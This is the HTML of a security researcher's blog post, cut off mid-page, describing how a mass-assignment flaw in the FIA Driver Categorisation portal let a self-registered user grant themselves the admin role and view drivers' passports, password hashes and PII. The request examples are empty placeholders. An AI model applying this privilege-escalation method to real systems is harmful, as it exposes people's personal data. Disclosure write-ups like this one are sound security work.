1<!DOCTYPE html><html lang="en" dir="ltr"><head><meta charSet="utf-8"/><link rel="preconnect" href="/" crossorigin=""/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2" as="font" crossorigin="anonymous" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2" as="font" crossorigin="anonymous" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2" as="font" crossorigin="anonymous" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2" as="font" crossorigin="anonymous" type="font/woff2"/><link rel="preload" as="image" imageSrcSet="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=640 640w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=750 750w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=828 828w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=1080 1080w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=1200 1200w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=1920 1920w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=2048 2048w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=3840 3840w" imageSizes="100vw"/><link rel="stylesheet" href="/styles/static.css" data-precedence="default"/><link rel="stylesheet" href="/styles/notion.css" data-precedence="default"/><link rel="stylesheet" href="/styles/super.css" data-precedence="default"/><link rel="stylesheet" href="/_next/static/chunks/16sz9a438v8dy.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/2l8zr1i2h4s0n.js"/>
1<script src="/_next/static/chunks/39lh7h2mq0kht.js" async=""></script>
1<script src="/_next/static/chunks/35e6ihb8m-ok8.js" async=""></script>
1<script src="/_next/static/chunks/2w35j0myr5uh6.js" async=""></script>
1<script src="/_next/static/chunks/10-69h2xev3ek.js" async=""></script>
1<script src="/_next/static/chunks/turbopack-14fm30rxd4vnq.js" async=""></script>
1<script src="/_next/static/chunks/0ylgcnss9ue9v.js" async="" crossorigin=""></script>
1<script src="/_next/static/chunks/1dlft7ht-6kzk.js" async=""></script>
1<script src="/_next/static/chunks/1xt6zdl-o7wg3.js" async=""></script>
1<script src="/_next/static/chunks/0rr5btioklgf4.js" async=""></script>
1<script src="/_next/static/chunks/2matreab0rub0.js" async=""></script>
1<script src="/_next/static/chunks/2z5wb7vhdi3hf.js" async=""></script>
1<script src="/_next/static/chunks/3cmvik1zogxvy.js" async=""></script>
1<script src="/_next/static/chunks/2ggeb0g51xxjo.js" async="" crossorigin=""></script>
1<script src="/_next/static/chunks/0tebe-k_4bvw8.js" async=""></script>
1<script src="/_next/static/chunks/08sikk1eypppo.js" async=""></script>
1<script src="/_next/static/chunks/1thlt7ghjj4x5.js" async=""></script>
1<script src="/_next/static/chunks/41l0cu_krzrbf.js" async=""></script>
1<link rel="icon" href="https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2" crossorigin="anonymous" as="font" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2" crossorigin="anonymous" as="font" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2" crossorigin="anonymous" as="font" type="font/woff2"/><link rel="preload" href="https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2" crossorigin="anonymous" as="font" type="font/woff2"/><title>Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs</title><meta name="description" content="We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating."/><meta name="generator" content="Super"/><meta name="robots" content="index, follow"/><meta property="og:title" content="Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs"/><meta property="og:description" content="We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating."/><meta property="og:url" content="https://ian.sh/fia"/><meta property="og:site_name" content="Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs"/><meta property="og:locale" content="en-US"/><meta property="og:image" content="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=85&fm=jpg&crop=entropy&cs=srgb"/><meta property="og:image:alt" content="Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs"/><meta name="twitter:description" content="We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating."/><meta name="twitter:image" content="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=85&fm=jpg&crop=entropy&cs=srgb"/><meta name="twitter:image:alt" content="Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs"/>
1<script> 2 (function () { 3 if (typeof Node !== "function" || !Node.prototype || Node.prototype.__superDomGuard) { 4 return; 5 } 6 Node.prototype.__superDomGuard = true; 7 8 var originalRemoveChild = Node.prototype.removeChild; 9 Node.prototype.removeChild = function (child) { 10 if (child && child.parentNode !== this) { 11 if (typeof console !== "undefined" && console.warn) { 12 console.warn("[super] skipped removeChild for node not in this parent", child, this); 13 } 14 return child; 15 } 16 return originalRemoveChild.apply(this, arguments); 17 }; 18 19 var originalInsertBefore = Node.prototype.insertBefore; 20 Node.prototype.insertBefore = function (newNode, referenceNode) { 21 if (referenceNode && referenceNode.parentNode !== this) { 22 if (typeof console !== "undefined" && console.warn) { 23 console.warn("[super] skipped insertBefore for reference node not in this parent", referenceNode, this); 24 } 25 return newNode; 26 } 27 return originalInsertBefore.apply(this, arguments); 28 }; 29 })(); 30</script>
30<script> 31 const html = document.getElementsByTagName("html")[0]; 32 try { 33 const colorPreference = localStorage 34 ? localStorage.getItem("color-preference") 35 : null; 36 37 if (false) { 38 html.classList.remove("undefined"); 39 } 40 41 if (false && colorPreference && html) { 42 html.classList.add("theme-" + colorPreference); 43 } else { 44 html.classList.add("theme-default"); 45 } 46 } catch (e) { 47 console.log('ERROR themeEffect', e) 48 html.classList.add("theme-default"); 49 } 50</script>
50<style> 51 @font-face { 52 font-family: "Inter"; 53 font-style: normal; 54font-display: swap; 55 font-weight: 400; 56 src: url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.eot"); /* IE9 Compat Modes */ 57 58 src: local(""), 59 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.eot?#iefix") 60 format("embedded-opentype"), 61 /* IE6-IE8 */ 62 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2") 63 format("woff2"), 64 /* Super Modern Browsers */ 65 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff") 66 format("woff"), 67 /* Modern Browsers */ 68 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.ttf") 69 format("truetype"), 70 /* Safari, Android, iOS */ 71 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.svg#Inter") 72 format("svg"); /* Legacy iOS */ 73 74 } 75 76 @font-face { 77 font-family: "Inter"; 78 font-style: normal; 79font-display: swap; 80 font-weight: 500; 81 src: url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.eot"); /* IE9 Compat Modes */ 82 83 src: local(""), 84 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.eot?#iefix") 85 format("embedded-opentype"), 86 /* IE6-IE8 */ 87 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2") 88 format("woff2"), 89 /* Super Modern Browsers */ 90 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff") 91 format("woff"), 92 /* Modern Browsers */ 93 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.ttf") 94 format("truetype"), 95 /* Safari, Android, iOS */ 96 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.svg#Inter") 97 format("svg"); /* Legacy iOS */ 98 99 } 100 101 @font-face { 102 font-family: "Inter"; 103 font-style: normal; 104font-display: swap; 105 font-weight: 600; 106 src: url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.eot"); /* IE9 Compat Modes */ 107 108 src: local(""), 109 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.eot?#iefix") 110 format("embedded-opentype"), 111 /* IE6-IE8 */ 112 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2") 113 format("woff2"), 114 /* Super Modern Browsers */ 115 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff") 116 format("woff"), 117 /* Modern Browsers */ 118 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.ttf") 119 format("truetype"), 120 /* Safari, Android, iOS */ 121 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.svg#Inter") 122 format("svg"); /* Legacy iOS */ 123 124 } 125 126 @font-face { 127 font-family: "Inter"; 128 font-style: normal; 129font-display: swap; 130 font-weight: 700; 131 src: url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.eot"); /* IE9 Compat Modes */ 132 133 src: local(""), 134 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.eot?#iefix") 135 format("embedded-opentype"), 136 /* IE6-IE8 */ 137 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2") 138 format("woff2"), 139 /* Super Modern Browsers */ 140 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff") 141 format("woff"), 142 /* Modern Browsers */ 143 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.ttf") 144 format("truetype"), 145 /* Safari, Android, iOS */ 146 url("https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.svg#Inter") 147 format("svg"); /* Legacy iOS */ 148 149 } 150 151 @font-face { 152 font-family: "Inter-fallback"; 153 size-adjust: 107%; 154 ascent-override: 90%; 155 src: local("Arial"); 156 } 157 </style><style>html{font-size:16px}</style>
157<script defer="" data-domain="ian.sh" src="https://plausible.io/js/script.js"></script>
157<script src="/_next/static/chunks/0cz1d0mv5g_q7.js" noModule=""></script>
157</head><body><div hidden=""><!--$--><!--/$--></div><div class="super-root"><div class="super-content-wrapper"><main id="page-fia" class="super-content page__fia parent-page__index"><nav class="notion-navbar"><div class="notion-navbar__content"><div class="notion-breadcrumb"><a id="block-eb5f7782eeca437f927323f450f8f3dc" href="/" class="notion-link notion-breadcrumb__item" data-server-link="true" data-link-uri="/"><div class="notion-navbar__title notion-breadcrumb__title">ian carroll</div></a><span class="notion-breadcrumb__divider">/</span><a href="/fia" class="notion-link notion-breadcrumb__item" data-server-link="true" data-link-uri="/fia"><div class="notion-navbar__title notion-breadcrumb__title">Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs</div></a></div><div class="notion-navbar__actions"></div></div></nav><div class="notion-header page"><div class="notion-header__cover has-cover no-icon"><span data-full-size="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a" data-lightbox-src="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a" style="display:contents"><img alt="Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs" decoding="async" data-nimg="fill" class="notion-header__cover-image" style="position:absolute;height:100%;width:100%;left:0;top:0;right:0;bottom:0;object-fit:cover;object-position:center 50%;color:transparent" sizes="100vw" srcSet="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=640 640w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=750 750w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=828 828w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=1080 1080w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=1200 1200w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=1920 1920w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=2048 2048w, https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=3840 3840w" src="https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0&q=90&fm=jpg&crop=entropy&cs=srgb&w=3840"/></span></div><div class="notion-header__content max-width has-cover no-icon"><div class="notion-header__title-wrapper"><h1 class="notion-header__title">Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs</h1></div></div></div><article id="block-fia" class="notion-root max-width"><span class="notion-heading__anchor" id="2843b9a56b2b80979101f9b033ee868e"></span><h2 id="block-2843b9a56b2b80979101f9b033ee868e" class="notion-heading notion-semantic-string">Introduction</h2><p id="block-2843b9a56b2b8097bc26ca6042b21f8e" class="notion-text notion-text__content notion-semantic-string">With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.</p><p id="block-2843b9a56b2b805eabf5f59ca0a8f535" class="notion-text notion-text__content notion-semantic-string">Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, <a href="https://x.com/galnagli" class="notion-link link" data-server-link="true" data-link-uri="https://x.com/galnagli">Gal Nagli</a>, <a href="https://x.com/samwcyo" class="notion-link link" data-server-link="true" data-link-uri="https://x.com/samwcyo">Sam Curry</a>, and <a href="https://x.com/iangcarroll" class="notion-link link" data-server-link="true" data-link-uri="https://x.com/iangcarroll">I</a> thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.</p><p id="block-2843b9a56b2b80e9946ad5373696cf37" class="notion-text notion-text__content notion-semantic-string"><em>This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.</em></p><span class="notion-heading__anchor" id="2843b9a56b2b80d68646e104a77c5b59"></span><h2 id="block-2843b9a56b2b80d68646e104a77c5b59" class="notion-heading notion-semantic-string">Finding F1 Driver Licenses</h2><p id="block-2853b9a56b2b80e980c8f60607a86708" class="notion-text notion-text__content notion-semantic-string">To race in Formula 1, drivers hold an <strong>FIA Super Licence</strong>. Itâs issued annually through a driverâs national motorsport authority (ASN) once theyâve met the FIAâs requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.</p><p id="block-2853b9a56b2b80cebbb9da00c1df0b23" class="notion-text notion-text__content notion-semantic-string">F1 drivers often compete outside Grands Prix as well, where the FIA uses a <strong>Driver Categorisation</strong> (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at <strong>drivercategorisation.fia.com</strong>, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.</p><div id="block-2843b9a56b2b805ab50cdacf67253c2b" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public" style="display:contents"><img alt="The public login page for the Driver Categorisation portal.." loading="lazy" width="1000" height="1000" decoding="async" data-nimg="1" style="color:transparent;height:auto" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/w=1920,quality=90,fit=scale-down 1x, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/w=1920,quality=90,fit=scale-down 2x" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/w=1920,quality=90,fit=scale-down"/></span></div><p id="block-2843b9a56b2b80ad80a9fcc06676ce2a" class="notion-text notion-text__content notion-semantic-string">After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:</p><div id="block-2843b9a56b2b800d9d02c26034778a4e" class="notion-code"><button class="notion-code__copy-button">
157<svg class="notion-icon notion-icon__copy" viewBox="0 0 14 16"><path d="M2.404 15.322h5.701c1.26 0 1.887-.662 1.887-1.927V12.38h1.154c1.254 0 1.91-.662 1.91-1.928V5.555c0-.774-.158-1.266-.626-1.74L9.512.837C9.066.387 8.545.21 7.865.21H5.463c-1.254 0-1.91.662-1.91 1.928v1.084H2.404c-1.254 0-1.91.668-1.91 1.933v8.239c0 1.265.656 1.927 1.91 1.927zm7.588-6.62c0-.792-.1-1.161-.592-1.665L6.225 3.814c-.452-.462-.844-.58-1.5-.591V2.215c0-.533.28-.832.843-.832h2.38v2.883c0 .726.386 1.113 1.107 1.113h2.83v4.998c0 .539-.276.832-.844.832H9.992V8.701zm-.79-4.29c-.206 0-.288-.088-.288-.287V1.594l2.771 2.818H9.201zM2.503 14.15c-.563 0-.844-.293-.844-.832V5.232c0-.539.281-.837.85-.837h1.91v3.187c0 .85.416 1.26 1.26 1.26h3.14v4.476c0 .54-.28.832-.843.832H2.504zM5.79 7.816c-.24 0-.346-.105-.346-.345V4.547l3.223 3.27H5.791z"></path></svg>Copy</button><!--$?--><template id="B:0"></template><!--/$--><figcaption class="notion-caption notion-semantic-string"></figcaption></div><p id="block-2843b9a56b2b80f3a8fed3a5f1de5edc" class="notion-text notion-text__content notion-semantic-string">The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:</p><div id="block-2843b9a56b2b8092b49bf4490c4e025c" class="notion-code"><button class="notion-code__copy-button"><svg class="notion-icon notion-icon__copy" viewBox="0 0 14 16"><path d="M2.404 15.322h5.701c1.26 0 1.887-.662 1.887-1.927V12.38h1.154c1.254 0 1.91-.662 1.91-1.928V5.555c0-.774-.158-1.266-.626-1.74L9.512.837C9.066.387 8.545.21 7.865.21H5.463c-1.254 0-1.91.662-1.91 1.928v1.084H2.404c-1.254 0-1.91.668-1.91 1.933v8.239c0 1.265.656 1.927 1.91 1.927zm7.588-6.62c0-.792-.1-1.161-.592-1.665L6.225 3.814c-.452-.462-.844-.58-1.5-.591V2.215c0-.533.28-.832.843-.832h2.38v2.883c0 .726.386 1.113 1.107 1.113h2.83v4.998c0 .539-.276.832-.844.832H9.992V8.701zm-.79-4.29c-.206 0-.288-.088-.288-.287V1.594l2.771 2.818H9.201zM2.503 14.15c-.563 0-.844-.293-.844-.832V5.232c0-.539.281-.837.85-.837h1.91v3.187c0 .85.416 1.26 1.26 1.26h3.14v4.476c0 .54-.28.832-.843.832H2.504zM5.79 7.816c-.24 0-.346-.105-.346-.345V4.547l3.223 3.27H5.791z"></path></svg>Copy</button><!--$?--><template id="B:1"></template><!--/$--><figcaption class="notion-caption notion-semantic-string"></figcaption></div><p id="block-2843b9a56b2b806fa8b9c037bc6d871e" class="notion-text notion-text__content notion-semantic-string">The JSON HTTP response for updating our own profile contained the "roles" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.</p><div id="block-2843b9a56b2b80fbbb97f879ca7e4cda" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public" style="display:contents"><img alt="JavaScript from the FIA Driver Categorisation portal." loading="lazy" width="1000" height="1000" decoding="async" data-nimg="1" style="color:transparent;height:auto" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/w=1920,quality=90,fit=scale-down 1x, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/w=1920,quality=90,fit=scale-down 2x" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/w=1920,quality=90,fit=scale-down"/></span></div><p id="block-2843b9a56b2b8076b206eecaa9e88245" class="notion-text notion-text__content notion-semantic-string">Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:</p><div id="block-2843b9a56b2b80659cddc18d808ccd83" class="notion-code"><button class="notion-code__copy-button">
157<svg class="notion-icon notion-icon__copy" viewBox="0 0 14 16"><path d="M2.404 15.322h5.701c1.26 0 1.887-.662 1.887-1.927V12.38h1.154c1.254 0 1.91-.662 1.91-1.928V5.555c0-.774-.158-1.266-.626-1.74L9.512.837C9.066.387 8.545.21 7.865.21H5.463c-1.254 0-1.91.662-1.91 1.928v1.084H2.404c-1.254 0-1.91.668-1.91 1.933v8.239c0 1.265.656 1.927 1.91 1.927zm7.588-6.62c0-.792-.1-1.161-.592-1.665L6.225 3.814c-.452-.462-.844-.58-1.5-.591V2.215c0-.533.28-.832.843-.832h2.38v2.883c0 .726.386 1.113 1.107 1.113h2.83v4.998c0 .539-.276.832-.844.832H9.992V8.701zm-.79-4.29c-.206 0-.288-.088-.288-.287V1.594l2.771 2.818H9.201zM2.503 14.15c-.563 0-.844-.293-.844-.832V5.232c0-.539.281-.837.85-.837h1.91v3.187c0 .85.416 1.26 1.26 1.26h3.14v4.476c0 .54-.28.832-.843.832H2.504zM5.79 7.816c-.24 0-.346-.105-.346-.345V4.547l3.223 3.27H5.791z"></path></svg>Copy</button><!--$?--><template id="B:2"></template><!--/$--><figcaption class="notion-caption notion-semantic-string"></figcaption></div><p id="block-2843b9a56b2b80d8afa4f739a308aefe" class="notion-text notion-text__content notion-semantic-string">Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.</p><div id="block-2843b9a56b2b8021ba9edadcbe414786" class="notion-code"><button class="notion-code__copy-button"><svg class="notion-icon notion-icon__copy" viewBox="0 0 14 16"><path d="M2.404 15.322h5.701c1.26 0 1.887-.662 1.887-1.927V12.38h1.154c1.254 0 1.91-.662 1.91-1.928V5.555c0-.774-.158-1.266-.626-1.74L9.512.837C9.066.387 8.545.21 7.865.21H5.463c-1.254 0-1.91.662-1.91 1.928v1.084H2.404c-1.254 0-1.91.668-1.91 1.933v8.239c0 1.265.656 1.927 1.91 1.927zm7.588-6.62c0-.792-.1-1.161-.592-1.665L6.225 3.814c-.452-.462-.844-.58-1.5-.591V2.215c0-.533.28-.832.843-.832h2.38v2.883c0 .726.386 1.113 1.107 1.113h2.83v4.998c0 .539-.276.832-.844.832H9.992V8.701zm-.79-4.29c-.206 0-.288-.088-.288-.287V1.594l2.771 2.818H9.201zM2.503 14.15c-.563 0-.844-.293-.844-.832V5.232c0-.539.281-.837.85-.837h1.91v3.187c0 .85.416 1.26 1.26 1.26h3.14v4.476c0 .54-.28.832-.843.832H2.504zM5.79 7.816c-.24 0-.346-.105-.346-.345V4.547l3.223 3.27H5.791z"></path></svg>Copy</button><!--$?--><template id="B:3"></template><!--/$--><figcaption class="notion-caption notion-semantic-string"></figcaption></div><p id="block-2843b9a56b2b80128aa5e4634df8e8e3" class="notion-text notion-text__content notion-semantic-string">We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.</p><div id="block-2843b9a56b2b809b971ed611ad91ac3b" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public" style="display:contents"><img alt="Accessing the driver categorisation portal as an administrator." loading="lazy" width="1000" height="1000" decoding="async" data-nimg="1" style="color:transparent;height:auto" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/w=1920,quality=90,fit=scale-down 1x, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/w=1920,quality=90,fit=scale-down 2x" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/w=1920,quality=90,fit=scale-down"/></span></div><p id="block-2843b9a56b2b800db3faf7a7226c16df" class="notion-text notion-text__content notion-semantic-string">To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal
157communications related to driver categorisation including comments about their performance and committee related decisions.</p><div id="block-2843b9a56b2b806f85f4e5d36110d92c" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public" style="display:contents"><img alt="Internal FIA comments about the categorisation of a professional F1 driver." loading="lazy" width="1000" height="1000" decoding="async" data-nimg="1" style="color:transparent;height:auto" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/w=1920,quality=90,fit=scale-down 1x, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/w=1920,quality=90,fit=scale-down 2x" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/w=1920,quality=90,fit=scale-down"/></span></div><p id="block-2843b9a56b2b80c6a2fcd96f2fe12615" class="notion-text notion-text__content notion-semantic-string">We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. <strong>We did not access any passports / sensitive information and all data has been deleted.</strong></p><div id="block-2933b9a56b2b8099a8fdfc81e630be86" class="notion-image page-width"><span 